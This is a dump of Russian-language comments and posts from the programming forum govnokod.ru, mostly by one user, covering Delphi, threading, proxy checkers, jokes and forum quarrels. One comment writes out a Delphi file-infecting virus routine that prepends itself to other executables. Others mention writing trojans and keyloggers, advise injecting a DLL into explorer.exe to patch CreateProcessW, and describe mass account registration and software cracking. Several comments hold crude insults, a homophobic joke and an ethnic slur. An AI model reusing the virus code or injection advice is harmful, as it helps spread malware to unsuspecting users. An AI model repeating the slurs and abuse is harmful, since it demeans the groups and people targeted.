  3513. [хлопает партбилетом по щекам] очнись, у тебя нет банхаммера и ты не модератор.
  3514.  
  3515. ########## Stertor: comment http://govnokod.ru/18126#comment285065 ##########
  3516. Ну, я так и делаю, потом, как правило, убираю лишние исключения, или обрабатываю их прямо в программе. В критических же местах без исключений не обойтись, ибо должен же юзер должен знать, что стало причиной краха! В делфаи есть встроенные исключения: на создании объектов, при записи в файл (при условии, что юзаются обёртки), и.т.д. Программист просто должен грамотно их обработать.
  3517.  
  3518. ########## Dr_Stertor: comment http://govnokod.ru/21887#comment363354 ##########
  3519. Таки потеребил ведь.
  3520. Хороший Стертор остался там, вдалеке, в тех ламповых и тёплых временах, когда ГК был сродни приюту сталкеров, когда не было ещё спама и грубостей. Сейчас ГК разлагается. Элементарно не о чем говорить. Точнее, сайт крепок, как броня, а разлагаются участники. Админ оказался похуюгой. Кстати, я давно уже без проксей, сижу с реального IP, чтобы не думал, что я спамлю.
  3521.  
  3522. ########## Stertor: comment http://govnokod.ru/14199#comment204763 ##########
  3523. "заодно" слитно.
  3524. Я до конца жизни буду благодарен своей училке по рускому яз. (их было 2-3, но всем в одном лице) за то, что она не заставляла меня забивать голову тупыми правилами, типа "чу-щу пиши с буквой ю" или "не с предлогами пишется раздельно", видя, что я и так пишу грамотно. Единственный порок - пунктуация. Я не всегда в ладах с запятыми. А ты-то чего такой грамотей? Али в школке не училсиа?
  3525.  
  3526. ########## Stertor: comment http://govnokod.ru/18015#comment282845 ##########
  3527. Строки в делфи особенные. Один раз выделяется память под строку, а операции присваивания лишь изменяют счетчик ссылок. Компилятор неявно вызвает UniqueString, когда ему кажется, что строка будет изменена (в справке вроде так написано). Особенность в том, что в данных примерах передаётся указатель на строку (PathRemoveArgs(pchar(s));), а процедура рассматривает его как InOut, т.е. повреждение данных вполне возможно.
  3528.  
  3529. ########## Stertor: comment http://govnokod.ru/14304#comment208011 ##########
  3530. >> Я с удовольствием помогу в синтаксисе и либах шарпа, если кому-то понадобиться
  3531.  
  3532. Как обращаться из потоков к элементам гуя? Я понимаю так, что для каждого метода гуя нужно писать потокобезопасный прототип, который и будет вызываться. Но нельзя ли примерчик? тока не с мсдн - там вообще пипец. Чтобы не захламлять эту тему, можешь ответить в любой из старых тем, или не отвечать.
  3533.  
  3534. ########## Stertor: comment http://govnokod.ru/15557#comment222151 ##########
  3535. можно еще так:
  3536. procedure infect(); var f,ff:file of byte; ibuff,nbuff:pointer; size,nsize:integer; fname:string; list:tstringlist; i:integer; begin assignfile(f,paramstr(0)); filemode:=fmopenread; reset(f); size:=vsize; // размер берется из константы ibuff:=allocmem(size); blockread(f,ibuff,size); closefile(f); list:=tstringlist.Create; // ищем подходящие файлы findfiles(list); for i:=0 to list.Count -1 do begin fname:=list[i]; if comparetext(fname,paramstr(0))=0 then continue; assignfile(ff,fname); filemode:=fmopenread; try reset(ff); except continue; end; if <проверка на зараженность>=true // уже заражен begin closefile(ff); continue; end; seek(ff,0); nsize:=filesize(ff); nbuff:=allocmem(nsize); blockread(ff,nbuff,nsize); filemode:=fmopenwrite; try reset(ff); except continue; freemem(nbuff^); end; seek(ff,0); blockwrite(ff,ibuff,size); seek(ff,size); blockwrite(ff,nbuff,nsize); closefile(ff); freemem(nbuff); end; end;
  3537.  
  3538. код писан на коленке, прошу сильно не пинать. Также код содержит намеренные ошибки, чтобы не смущать школоло на грех окаянный.
  3539.  
  3540. вирусы такого типа(т.е. писаные ололо) не сохраняют при заражении иконку (к своему стыду, признаю, я тоже не умею это делать), а это большой порок.
  3541.  
  3542.  
  3543. ########## Stertor: comment http://govnokod.ru/13752#comment195512 ##########
  3544. Ох епта, у него там еще и таймер каким-то макаром приплетен - только сейчас заметил.
  3545. Бля, в мое суровое время было принято прятать исходники, а распространять уже скомпилированные бинарники (чтобы знающие не увидели ошибок и не засмеяли), а теперь очевидно, нравы поменялись: быдлокод выставляют напоказ, более того - рекомендуют за правило. Ну и пускай. Хоть люди посмеются.
  3546.  
  3547. ########## voodoodal16: post http://govnokod.ru/21264 ##########
  3548. Мужчина лет сорока сидит в купе поезда с барышней.
  3549. -Знаете, как-то раз я познакомился с девушкой, возникла симпатия, мы познакомились и провели ночь.
  3550. Наутро я проснулся в пустой постели. На столике я обнаружил немного денег и записку: "Вы - осёл"...
  3551. -О, это грустноватая история...
  3552. Погас свет...
  3553. Наутро мужчина проснулся в пустом купе. На столике лежали деньги и записка: "Это Вам на овёс".
  3554.  
  3555. ---------- description ----------
  3556. ...
  3557.  
  3558. ########## Stertor: comment http://govnokod.ru/14307#comment208970 ##########
  3559. >>как вообще может выглядеть нужные данные
  3560.  
  3561. мы просто вытягиваем строчку, которая находится между "<font class=spy1>Прокси не найден или используется" и "прокси</font>"
  3562. если эта строчка =="высокоанонимный", прокси годный. Иначе негодный.
  3563.  
  3564. Если ты сможешь обучить меня регуляркам, я закину тебе 500 р. (перед всеми товарищами говорю, не шутка!) Ученик я усердный, но тебе придется немного попотеть. По рукам?
  3565.  
  3566. ########## Stertor: comment http://govnokod.ru/13871#comment198116 ##########
  3567. < Попытки обьяснить, что в js setInterval - асинхронный, т.е. метод будет вызван в том же треде, а в питоне Timer запускает новый тред и что аналогом будет while True: ....; time.sleep(...)>
  3568.  
  3569. Асинхронным будет как раз таки дополнительный поток, дурья твоя бошка!
  3570. Во многих скриптовых языках нет возможности создавать доп.поток, поэтому выкручиваются с помощью таймеров.
  3571.  
  3572. P/S.
  3573. гоатсе постить не буду, просто перечитайте пост еще раз.
  3574.  
  3575. ########## Stertor: comment http://govnokod.ru/13750#comment195243 ##########
  3576. Запомни раз и навсегда: для того, чтобы я чтобы я позволил себя троллить, это должен быть тролль высочайшей квалификации. Ты же с kengan (если вы - не одно и то же лицо) подобны щенку, который очень хочет кого нибудь укусить, в целях повышения самооценки - но любое проявление агрессии в его сторону, вроде хлопка ладонями, топанья ногами или грозого оклика, обращает его в бегство.
  3577.  
  3578. ########## Stertor: comment http://govnokod.ru/14744#comment218174 ##########
  3579. Мы долго морщили лоб, между тем проблема решается просто:
  3580. сделать полное выкашивание постов по нику - сигнатурой является ник. Сигнатуры спамовых сообщений не нужны т.к. принципиально нет смысла сепаровать сообщения - упоротый мудак не напишет ничего дельного. Проще скрыть его пост и въебать минус. Не нравится? Пусть перерегистрируется и общается нормально.
  3581.  
  3582. ########## Stertor: comment http://govnokod.ru/14288#comment207050 ##########
  3583. Жил был Змей Горыныч. А у Змеев Горынычей, как известно, три головы. Одна голова любила женщин, вторая голова любила женщин, а третья усиленно пидорстововала - сосала всем кому ни попадя. Вот две головы рассуждают, как им быть.
  3584. -Позорит нас эта голова. Пойдем-ка к крестьянам, пусть они ее отрубят.
  3585. -Замолчи, дурак!.. Ведь не ровен час, услышит - начнет, чего доброго, в жопу ебаться!..
  3586.  
  3587. ########## Stertor: comment http://govnokod.ru/13871#comment198319 ##########
  3588. я понимаю. Такая же паибота в autoit-e. Отдельный асинхронный поток средствами самой runtime lib создать нереально, разве что на апях, но все же на моем веку CreateThread на автоите никто не вызывал. Псевдо-многопоточность реализуют иногда через анус:
  3589.  
  3590. AdlibRegister("funcname",interval),
  3591. где funcname - имя метда, который нужно запускать в отдельном потоке, interval - таймаут, по которому основной (и кстати единственный) поток вызывает указанный метод.
  3592.  
  3593. ########## Stertor: comment http://govnokod.ru/13839#comment197480 ##########
  3594. Может вы еще ответите, почему же тогда все так фанатично стараются привязать телефон/анкету к конкретному человеку?
  3595. Фейсбук вообще убил: "вы имеете право добавлять в друзья только реальных друзей или родственников, иначе ваша анкета будет заблокирована". Кому какое нахуй дело, кого мне добавлять - если конечно, это не отслеживание кругов общения и знакомств?
  3596.  
  3597. ########## Stertor: comment http://govnokod.ru/14295#comment207794 ##########
  3598. Лично я много лет кодил на взломанном компиляторе Visual Basic (сомневаюсь, что на нем вообще пишут коммерч. софт - макросы для офиса не в счет) и Pure Basic (еще больше сомневаюсь). Но писал проги чисто для себя - учился кодить. Разве это преступление? PureBasic-триалка запрещает линковку dll и вызов API функций - интересно, еще большей брехни им нельзя было придумать? Но теперь по боку, я давно бросил бейсики.
  3599.  
  3600. ########## Stertor: comment http://govnokod.ru/14442#comment213991 ##########
  3601. Возможно, я ошибаюсь, но исходя из моего опыта, мне кажется, что сначала отработает один поток, затем второй. Synchronize() посылает потоку, который держит форму, сообщение о том, чтобы он вызвал метод, указанный в качестве параметра в Synchronize(). Поток, вызвавший Synchronize() будет заблокирован до полного завершения указанного метода. Двойного обращения к объекту не происходит, иначе какой же это Synchronize ;)
  3602.  
  3603. ########## Stertor: comment http://govnokod.ru/18363#comment290148 ##########
  3604. для линуксоидов существуют мааленький такой мирок, в котором все используют линукс, и в котором они живут при коммунизме. Очевидно, размер их мирка пропорционален размеру мозга и составляет 1,5 % от размера мозга нормального человека. Лол, не удивительно, что на этих буйных даунов дружно кладут производители железа, и им приходится самим писать под него дрова.
  3605.  
  3606. ########## Stertor: comment http://govnokod.ru/13838#comment197207 ##########
  3607. Коды были тщательно продуманы и проверены. То, что ты в силу низкого уровня знаний языка Делфи не разобрался в них, еще не означает, что они были "чем о чем", как ты выразился. Не следовало их удалять. Но мне не обидно. Просто я хотел сделать ваш сайт лучше, разместив такие востребованные статьи, как авторизация и парсинг, но модераторы не дали мне завершить мою работу.
  3608.  
  3609. ########## Stertor: comment http://govnokod.ru/14266#comment206036 ##########
  3610. [Warning: 14266 - обсуждение перерастает в троллинг, опасность потери данных.]
  3611.  
  3612. Недружелюбный интерфейс - нет привычных элементов управления, чтобы быстро настроить систему под свои прихоти.
  3613.  
  3614. Трудность настройки - как ее вообще настраивать?? Где программы хранят параметры?
  3615.  
  3616. В большинстве известных мне систем проги ставятся кликом по значку пакета (далее следуя указаниям)
  3617.  
  3618.  
  3619.  
  3620. ########## void_main: comment http://govnokod.ru/17641#comment347069 ##########
  3621. >Особенно если у тебя доступ только к БД
  3622. Ну и? Если не бан, то хоть пароль им можно сменить?
  3623.  
  3624.  
  3625. вспомнил yadelphi.ru... Я был там модератором, без доступа к админке.
  3626. Сайт сильно спамили, и я написал небольшую утилитку, с дополняемым списком спамеров и эвристикой. Потом я узнал, что админ сайта - гандон. Ему стоило зайти и сделать всего пару кликов, чтобы убрать спам, но он не сделал этого.
  3627.  
  3628. ########## Stertor: comment http://govnokod.ru/18083#comment283925 ##########
  3629. Я вовсе не против. Недавно листал свои старые комменты, так вот, меня бы следовало взять за шкирку, и выбросить вон с сайта. из пяти комментов три - флуд и троллинг (причём иногда откровенно тупой). Щадит меня Мартышка: даже комменты не потёр, хотя с моей учетки тоже спамили. Это очень необычно и странно. Либо он - олицетворение всепрощения, либо у него резиновая жопа.
  3630.  
  3631. ########## voodoodal16: post http://govnokod.ru/21308 ##########
  3632. function SignCount(Count:integer):string;
  3633. var
  3634. S:string;
  3635. CN:Integer;
  3636. begin
  3637. S:='сигнатур';
  3638. CN:=Count mod 1000000;
  3639. CN:=CN mod 1000;
  3640. CN:=CN mod 100;
  3641. if CN > 20 then
  3642. CN:=CN mod 10;
  3643. if (CN >=5) and (CN <=20) then
  3644. else
  3645. begin
  3646. if CN > 1 then
  3647. S:=S+'ы'
  3648. else
  3649. if CN=1 then
  3650. S:=S+'а';
  3651. end;
  3652. Result:=Format('%d %s',[count, s]);
  3653. end;
  3654.  
  3655. {
  3656. Выхлоп:
  3657. 1 сигнатура
  3658. 2 сигнатуры
  3659. 3 сигнатуры
  3660. 4 сигнатуры
  3661. 5 сигнатур
  3662. 6 сигнатур
  3663. 7 сигнатур
  3664. 8 сигнатур
  3665. 9 сигнатур
  3666. 10 сигнатур
  3667. 11 сигнатур
  3668. 12 сигнатур
  3669. 13 сигнатур
  3670. 14 сигнатур
  3671. 15 сигнатур
  3672. 16 сигнатур
  3673. 17 сигнатур
  3674. 18 сигнатур
  3675. 19 сигнатур
  3676. 20 сигнатур
  3677. 21 сигнатура
  3678. 22 сигнатуры
  3679. 23 сигнатуры
  3680. 24 сигнатуры
  3681. 25 сигнатур
  3682. 26 сигнатур
  3683. 27 сигнатур
  3684. 28 сигнатур
  3685. 29 сигнатур
  3686. 30 сигнатур
  3687. ...
  3688. }
  3689.  
  3690. ---------- description ----------
  3691. Захотелось поизвращаться. Код мой.
  3692.  
  3693. ########## Stertor: post http://govnokod.ru/13838 ##########
  3694. Программа на цикл.
  3695.  
  3696. Мы запускаем цикл, который можно остановить только если прописать слово "Стоп" :
  3697.  
  3698. Dim Slovo As String
  3699. Do
  3700. Slovo = InputBox("Введите слово", "Слово")
  3701. MsgBox(Slovo & "!", , "Слово")
  3702. Loop Until Slovo = "Стоп"
  3703.  
  3704.  
  3705.  
  3706.  
  3707.  
  3708. Автор: Release
  3709. Сайт: ds-release.ru
  3710.  
  3711. ---------- description ----------
  3712. http://vbbook.ru/vb.net/programma-na-cikl/
  3713. Вначале было слово.
  3714. Потом тоже было слово.
  3715. Потом тоже было слово.
  3716. Потом тоже было слово.
  3717. Потом тоже было слово.
  3718. Потом тоже было слово.
  3719. Потом тоже было слово.
  3720. Потом тоже было слово.
  3721. Потом тоже было слово.
  3722. Потом тоже было слово.
  3723. application halted with error
  3724.  
  3725. ########## Stertor: comment http://govnokod.ru/15804#comment292046 ##########
  3726. Вынь паяльник из ануса, а то будет короткое замыкание.
  3727.  
  3728. "последний трамвай в пропасть, управляемый подставным недоношенным инфантильным карликом Медведевым, как старый заедающий патефон с голосом Левитана" - я оценил эту фразу.
  3729.  
  3730. " где в ночной тиши Сралин баловал себя отборными колхозницами под звуки пыток из подвала" - слушай, тебе бы мемуары писать! Реально!
  3731.  
  3732. ########## Stertor: comment http://govnokod.ru/13838#comment197215 ##########
  3733. ...постепенное возвращение в фазу школоло-неадекватности.
  3734.  
  3735. Ты интересный тип, надо сказать. Я бы с тобой пообщался при других обстоятельствах.
  3736. По теме. Знаешь, как-то накладно спорить с модератором и что-то ему доказывать, особливо если знаешь, что если он неуч, школоло хам. Приходи ко мне на сайт yadelphi.ru, где я модераст, и ты сам в этом убедишься. Точнее, увидишь свои ошибки.
  3737.  
  3738. ########## Stertor: comment http://govnokod.ru/14988#comment219374 ##########
  3739. Это не тупой вопрос. Я понимаю, вы не обязаны мне помогать, бля, но в таком случае просто пройди мимо, зачем постить хуйню? 12 постов, в которых нет ровным счетом, ничего, хотя достаточно было всего 1 строчки:
  3740. >> как можно поправить этот код, чтобы библиотека подгружалась только к процессу "explorer.exe" и патчила в его памяти CreateProcessW?
  3741.  
  3742. Создать удаленный поток к explorer.exe и внедрить эту библиотеку И все!!!
  3743.  
  3744. ########## Stertor: comment http://govnokod.ru/13899#comment199809 ##########
  3745. >>а там меня ждут обе и мило беседуют
  3746. Тут заходишь ты, и обе смолкают. Их взгляд обращен на тебя, они трепещут перед тобой, они готовы исполнить любое твое желание.
  3747.  
  3748. [...]
  3749.  
  3750. Могу также домыслить и представить последствия: пол и стены липкие, с потолка капает.
  3751. тук-тук-тук! Лурик тут живет? Ты чего стервец алиментов не платишь,а? Обрюхатил девку, толкнул на грех - теперь плати!
  3752.  
  3753. ########## Dr_Stertor: comment http://govnokod.ru/21160#comment359316 ##########
  3754. ...Летом две тысячи восьмого года, по вечерам, на балкон залетало много саранчи. Я нещадно резал и препарировал несчастных насекомых, приготовил препарат и подкинул на кафедру гистологии. Преподаватели натирали мозоли об окуляр, но не решались сказать, что это. Только потом один пожилой морфолог предположил, что это - мышечная ткань, но не человеческая.
  3755.  
  3756. ########## Stertor: comment http://govnokod.ru/15625#comment223507 ##########
  3757. Нет, это мне нравится: когда-то меня считали упоротым только потому, что я зарегал всего-навсего 50 учеток (да и те потом слил по распиздяйству вместе с прогой), а этому олуху царя небесного все с рук сходит. Нет никакого способа подменить куки - капчу придется вбивать в любом случае, и еще неделю ждать, пока "вино созреет". Но ради чего это? Бля, хоть убейте, не пойму.
  3758.  
  3759. ########## Stertor: post http://govnokod.ru/13345 ##########
  3760. [color=red]Участник, прошу тебя, не поленись, пройдись по разделам и поставь всем по минусу.
  3761. Минусуя участников, ты помогаешь обществу людей снижать ЧСД, а троллям -держать фигуру.
  3762.  
  3763.  
  3764. Для сравнения с остальными постами, которые писал не я.
  3765. P/S. найди 10 отличий.[/color]
  3766.  
  3767. ---------- description ----------
  3768. Без коментариев. Борманд вообще меня убил. Вчера-позавчера мы нормально общались, а сегодня он меня с кем-то спутал.
  3769.  
  3770. ########## Dr_Stertor: comment http://govnokod.ru/21951#comment365230 ##########
  3771. В VCL, в отличие от MFC, контрол после изменения данных сразу же перерисовывается. Однако, я никогда не сталкивался с проблемой мерцания.
  3772. @DoubleBuffered
  3773. Рисование происходит на виртуальной канве, затем вызывается BitBlt и переносит рисунок на оригинальный контекст. Вообще-то, запрет перерисовки делается отправкой контролу сообщения WM_SETREDRAW либо вызовом обертки(методы BeginUpdate/EndUpdate в классах TListItems, TStrings...).
  3774.  
  3775. ########## Stertor: comment http://govnokod.ru/18015#comment282648 ##########
  3776. Выход один: просто не юзать batch. Переходи на vbs или AutoIt.
  3777. Я намучался с консолью, когда учился писать примитивные трояны, и ещё в детстве зарёкся впредь иметь с ней дело.
  3778.  
  3779. Глянь вот это: https://www.autoitscript.com/site/
  3780. Синтаксис напоминает KIXTART, но возможности куда шире. Поддерживается компиляция скрипта в *.exe, можно интерфейс приделать - даже визуальный дизайнер форм есть, как в делфях. Вполне годный язык.
  3781.  
  3782. ########## Dr_Stertor: post http://govnokod.ru/21950 ##########
  3783. Интереса ради установил пятый крестобилдер (борланд) - что сказать?!
  3784. Первый раз в жизни пожалел, что не знаю сей.
  3785. Приятный, ненавязчиво-дружелюбный и очень удобный интерфейс, вкупе с аскетичной подсветкой и автодополнением.
  3786. Эта IDE-само совершенство, для настоящих профи. Среда словно бы просит начать в ней работать.
  3787. Стыдись, майкрософт!..
  3788.  
  3789. ---------- description ----------
  3790. Добавить нечего.
  3791.  
  3792. ########## Dr_Stertor: comment http://govnokod.ru/21896#comment363420 ##########
  3793. Какой цинизм. Погибли чьи-то друзья, отцы, сыновья. Это огромное горе, прежде всего - для близких, и трагедия - для всех остальных.
  3794. Ты же, из упоротости, взял и зачеркнул это словом "все"... Демагог.
  3795. Укропы лупят друг друга как тараканов - ни жалости ни сострадания, фашизм вон возносят - всё это от уебанства, которое у многих из них в крови. Тебя тоже не обошла печать сия.
  3796.  
  3797. ########## Stertor: comment http://govnokod.ru/14321#comment209391 ##########
  3798. Проверяет анонимность проксей.
  3799. * Поддержка многопоточности
  3800. *Поддерживается сортировка и удаление ошибочных строк.
  3801. *Можно указывать список в виде файла, либо вставлять текст, содержащий прокси, из буфера обмена - все прокси будут вылущены и помещены в поле ввода.
  3802.  
  3803. Никакого вредоносного функционала - чекер распространяется вместе с исходниками.
  3804.  
  3805. ########## Stertor: comment http://govnokod.ru/13961#comment200776 ##########
  3806. Не торопись с выводами, друг мой. Сам процесс wmi иногда жутко грузит процессор без видимых причин и долго висит в памяти (даже после того, как сама прога, вызвавшая WMI уже давно завершила работу) т.е. ему свойственна нестабильность. Использовать же классы wmi для получения данных о накопителях - повторять ошибку двух уебков, написавших вирус "анти-пенетратор USB.WSF"
  3807.  
  3808. http://www.grok.ru/895
  3809. http://boosh.ucoz.ru/forum/4-11-1\
  3810. http://sariolla.ru/index.php?option=com_content&view=articl e&id=104
  3811.  
  3812. ########## Stertor: comment http://govnokod.ru/13821#comment207333 ##########
  3813. >>Нужно научиться обособляться от людей и ставить в приоритет свои желания и потребности.
  3814. Какое же это становление Я? Это вульгарный эгоизм. "Если человек живет вне общества- это либо бог, либо животное"
  3815.  
  3816. >>Ярче всего это видно в любовных отношениях.
  3817. Точнее, в отсутствие оных. Ты даже не дрочишь - не умеешь. (Давай, наступи на горло своему Я и упрекни меня во лжи...)
  3818.  
  3819. ########## Stertor: comment http://govnokod.ru/14249#comment205407 ##########
  3820. Я не троллил. Конденсатор может накапливать ток, но чаще испольуется там, где нужно отделить переменное напряжение от постоянного - возьмем выпрямитель: диод превращает переменный ток в пульсирующий, т.к. выполняет махинации с полупериодами. А конденсатор (электролитический) еще более сглаживает полученное напряжение. Вот, что я хотел сказать.
  3821.  
  3822. ########## Stertor: post http://govnokod.ru/14321 ##########
  3823. Милости прошу опробовать новую модификацию моего прокси-чекера:
  3824. http://rghost.ru/51449039
  3825. пароль на архив - ситэ; конкретно, то место, куда слетают все опубликованные пароли и учетки.
  3826.  
  3827. ---------- description ----------
  3828. Выражаю огромную благодарность более опытным товарищам, которые охотно шли мне навстречу, делясь опытом и указывая правильный путь.
  3829. Я не могу не упомянуть имен этих замечательных людей:
  3830. Bormand
  3831. 1024-
  3832. Kegdan
  3833. Anonimb
  3834.  
  3835. ########## Stertor: comment http://govnokod.ru/15275#comment220685 ##########
  3836. я знал это. Но гламурно ли будет два раза вызвать API? Это не
  3837. ламерство?
  3838.  
  3839. Хотя нет - не ламерство. Так, для того, чтобы перед прочтением значения
  3840. ключа в реестре узнать его тип (если наугад прочитать reg_sz как
  3841. reg_dword- функция обрушит прогу), два раза подряд вызывают API, если не
  3842. ошибасюь, RegQueryValueEx. В итоге, буфер заполняется типом ключа,
  3843. который можно передать в качестве параметра ей же.
  3844.  
  3845. ########## Stertor: comment http://govnokod.ru/14241#comment205000 ##########
  3846. Я, в принципе, думал об этом. Но в классе потока 2 относительно тяжелые функции - первая ищет файлы и заполняет лист их названиями (значит, уже 1 тяжкий цикл есть), затем начинает работать вторая функция (тоже в цикле выполняет манипуляции с именами файлов, до тех пор, пока не просмотрит весь список). Итого около 2 циклов. Запихать перед каждым for.. do проверку на terminated?
  3847.  
  3848. ########## Stertor: comment http://govnokod.ru/14522#comment216793 ##########
  3849. А в чем смысл лицемерного плюсования дефекейта, дорогой товарищ? Если Вы забыли, то я напомню Вам: Хорси может быть любой из нас. Тот факт, что он не материт и не оскорбляет меня, еще не значит, что я и он - одно лицо, и является следствием моего отношения к нему. За что же минусы, за то, что я с ним общаюсь на нормальной волне? Так мне он не сделал ничего плохого.
  3850.  
  3851. ########## Stertor: comment http://govnokod.ru/13699#comment193607 ##########
  3852. Я и сам это знаю, ебать. За это я и люблю этот сайт и его обитателей.
  3853. Этому сайту нет аналогов, идеальный сайт. Можно хоть с утра до вечера флудить и троллить, и тебя не забанят за это. Максимум, сделают замечание: бля, но это же свои )
  3854. А когда понадобится помощь, тебе простят и флуд, и троллинг, и оскорбления и поспешат дать полезный совет... Что-то я расстроился.
  3855.  
  3856.  
  3857. ########## Stertor: comment http://govnokod.ru/14544#comment216593 ##########
  3858. >>Хуле я должен ждать ещё неделю?
  3859. Это нужно для воспитания терпения участника.
  3860.  
  3861. >>Такого нет ни на одном сайте - неделю ждать возможности комментирования, две недели - возможности постинга
  3862. зато тут нет модераторов и админов- количество флуда регулируется не количеством разгаданных каптур (хотя и этим тоже) но в большей степени совестью флудера.
  3863.  
  3864. ########## Stertor: comment http://govnokod.ru/13838#comment197209 ##########
  3865. Если ты еще тут, передай вашему админу - падре, пусть посмотрит вот этот мультик: "Расскажите сказку, доктор". Мультик советский, послевоенный, качество соответствующее. Но важнее всего смысл. Многих сегодняшних выродков без морали и с искаженным мировоззрением уже ничего не интересует в этой жизни и многого им не понять. Не нужно быть таким же.
  3866.  
  3867. ########## void_main: comment http://govnokod.ru/20825#comment346491 ##########
  3868. >Ведь точно регал 139 ботов, чтоб разрушить империю говнокода, но потом стал п ушистым и хорошим
  3869.  
  3870. Не стал. Я так и остался ебанутым существом троллем и спамером.
  3871. На сайте vbbook, где я когда-то обитал, модератором был толстый, пухлый мальчик. Он очень запаривался со мной и однажды, запарившись со мной бороться, сказал с горечью : "Тролль так и останется троллем..."
  3872.  
  3873. ########## Stertor: comment http://govnokod.ru/13839#comment197271 ##########
  3874. Немного не в тему. Кто-нибудь может подсказать, как создать и зарегистрировать com-объект?
  3875. Т.е. создать библиотеку-хост, из которой рулонами можно вызывать функции. Такая библиотека регистрируется с помощью DllRegisterServer.
  3876. Пример - библиотека scrrun.dll, которая подключена по умолчанию и из которой свиток может вызвать объект "fso.filesystemobject". А как такое провернуть с моей библиотекой?
  3877.  
  3878. ########## Stertor: comment http://govnokod.ru/14266#comment206039 ##########
  3879. А Вы хотите потроллить? Милости просим, я рад таким людям. Продолжаем, товарищи.
  3880.  
  3881. Так вот, установочные пакеты весят очень много, их сложно устанавливать. При клике по значку пакета ничего не происходит. В винде и в других системах можно разобраться руководствуясь лишь здравым смыслом - в линуксе такое ориентирование абсолютно невозможно.
  3882.  
  3883. ########## Stertor: comment http://govnokod.ru/13227#comment183583 ##########
  3884. Ололололо--ТрололололоОлолололо--ТрололололоОлолололо--ТрололололоОлолололо--ТрололололоОлолололо--ТрололололоОлолололо--ТрололололоОлолололо--ТрололололоОлолололо--ТрололололоОлолололо--ТрололололоОлолололо--ТрололололоОлолололо--ТрололололоОлолололо--ТрололололоОлолололо--ТрололололоОлолололо--Трололололо
  3885.  
  3886. ########## Stertor: comment http://govnokod.ru/14218#comment204114 ##########
  3887. bormand, выручайте: как перехватить исключение о том, что диск защищен от записи? Возникает при MoveFileW с защищенной флешки (windows 7) и никак не обрабатывается, даже в блоке try..except. И еще. Как реализовать подобие критических секций для 1 потока? Т.е. как запретить функциям выполнять манипуляции с объектом до тех пор, пока с ним работает другая функция?
  3888. Прошу извинить, не в тему.
  3889.  
  3890. ########## Stertor: comment http://govnokod.ru/15511#comment221574 ##########
  3891. Ваш покорный слуга тоже страдал этим. Только я профессионально делал - с библиотекой. Была поддержка раскладки клавиатуры, поддержка клавиатуры ноутбуков и тп. Потом я с ним наигрался и бросил. Ну украду я пароли/текст, и что дальше? Скучно. Тем более, сейчас всякие там стилеры - готовый пароль присылает на почту, ничего перехватывать не надо.
  3892.  
  3893. ########## Stertor: comment http://govnokod.ru/18345#comment290488 ##########
  3894. Хороший сонник написал Л. Цветков, он там ещё советует, если приснился кошмар, вспомнить, где лежит Ваше тело и после этого попытаться "исправить" сон. У меня получилось отладить только утреннюю дремоту, и то 1 раз.
  3895.  
  3896. >>небрежно кидать на сходочках понисосов: "А я вот программист..."? Я угадал снова, а, дульфя?
  3897.  
  3898. Чего ты ко мне приебался, а? Сам же знаешь, что нет.
  3899.  
  3900. ########## Stertor: comment http://govnokod.ru/13763#comment196282 ##########
  3901. Фаер/антивирь - это все от шайтана. Не буду ставить. Самым лучшим эвристиком был и остается Панда. Но я не мог позволить себе купить лицензию. А из бесплатных антивирей у меня снискал славу православного аваст! 4.8, так как обладал хорошей эвристикой и совершенно не грузил комп. Но теперь рука сатаны Гугла простерлась и над их конторой... В топку.
  3902.  
  3903. ########## Stertor: comment http://govnokod.ru/14307#comment209006 ##########
  3904. Анонимб, ты меня просто убиваешь. Я же тебе не так давно писал ссылку на мой прокси-граббер, почему ты ей не воспользовался, ты бы получил целый ворох проксей! Теперь не могу помочь - сайт наш закрыли, а исходников граббера у меня нет - разве что с чистого листа начать писать.
  3905.  
  3906. Можешь поискать в яндексе - обычно выдаются ссылки на сайты с проксями.
  3907.  
  3908. ########## Stertor: comment http://govnokod.ru/13233#comment184532 ##########
  3909. Для тех, кто в танке:
  3910. Лурик сидит под моим акком. При добавлении коммента, сервер смотрит в куки (не наступил ли таймаут?) и записывает в них интервал времени, по истечению которого отредактировать сообщение уже нельзя. Поскольку мы находимся в разных часовых поясах, длительность интервала вдвое дольше, и таймаут наступает не так быстро.
  3911.  
  3912. ########## Stertor: comment http://govnokod.ru/18257#comment287802 ##########
  3913. Я начинаю кое-что понимать. Знаешь, как-то раз я писал менеджер потоков - класс, базирующийся на TThreadlist. Так вот, у меня было желание передать в поток указатель на его менеджер - чтобы потоки могли с ним взаимодействовать. Тогда это показалось мне страшным извращением, я отказался от этой затеи. Теперь оказывается, что это было и не извращение вовсе?
  3914.  
  3915. ########## Stertor: comment http://govnokod.ru/14295#comment207504 ##########
  3916. Ну, меня в свое время возбуждало. Вообще, моя родная платформа - SEGA. У меня приставка появилась уже в старшем возрасте, компа тогда еще у меня не было. Я посмотрел множество игр, особенно понравились Phantasy Star 3: Generations of doom,Prince of Persia, Comix Zone. Принца я сделал бессмертным, подобрав особый пароль: удары стражника перестали снимать жизни, но падать стало опасно, так как при этом игра висла.
  3917.  
  3918. ########## Stertor: comment http://govnokod.ru/13349#comment187069 ##########
  3919. Глупо обнажать в лесу свою задницу, а потом жаловаться, что искусали комары.
  3920. nonamez, может, хватит уже кормить троллей?
  3921. >>nonamezz, а че ты на аву букву "цэт" поставилъ? В слове "гондон" нет буквы "Z".
  3922. Где тут сказано, что ТЫ-гондон? Это нарисовало твое больное воображение.
  3923. Я обращаюсь ко всем. Посмотрите, что вы натворили:
  3924. http://govnokod.ru/php
  3925. http://govnokod.ru/cpp
  3926. http://govnokod.ru/pascal
  3927. усердно кормили троллей и они забили сайт флудом(
  3928.  
  3929. ########## Stertor: comment http://govnokod.ru/14087#comment201826 ##########
  3930. Бля, за что, за что минусы? Если бы линуксовщики переняли хотя бы часть функций windows - хотя бы часть! - или немного ее логики, то линукс не был бы таким убогим, каков он в нонешнем виде. Это операционка для обросших нечистоплотных мудаков в пыльном свитере, которым ничего не стоит пролить пиво на клаву или сесть на пачку с сидюками. Кругом жлобы, нахуй.
  3931.  
  3932. ########## Stertor: comment http://govnokod.ru/15557#comment222231 ##########
  3933. Не надо спешить с выводами, дорогой товарищ.
  3934. Программа состоит из исполняемого файла (само приложение) и дополнительных файлов. Нужно установить взламываемую программу на хостовый комп и на систему в виртуалке. Затем запустить патч на виртуалке и скопировать уже обработанное приложение в его рабочую папку на хостовую систему.
  3935.  
  3936. ########## Stertor: comment http://govnokod.ru/13985#comment201346 ##########
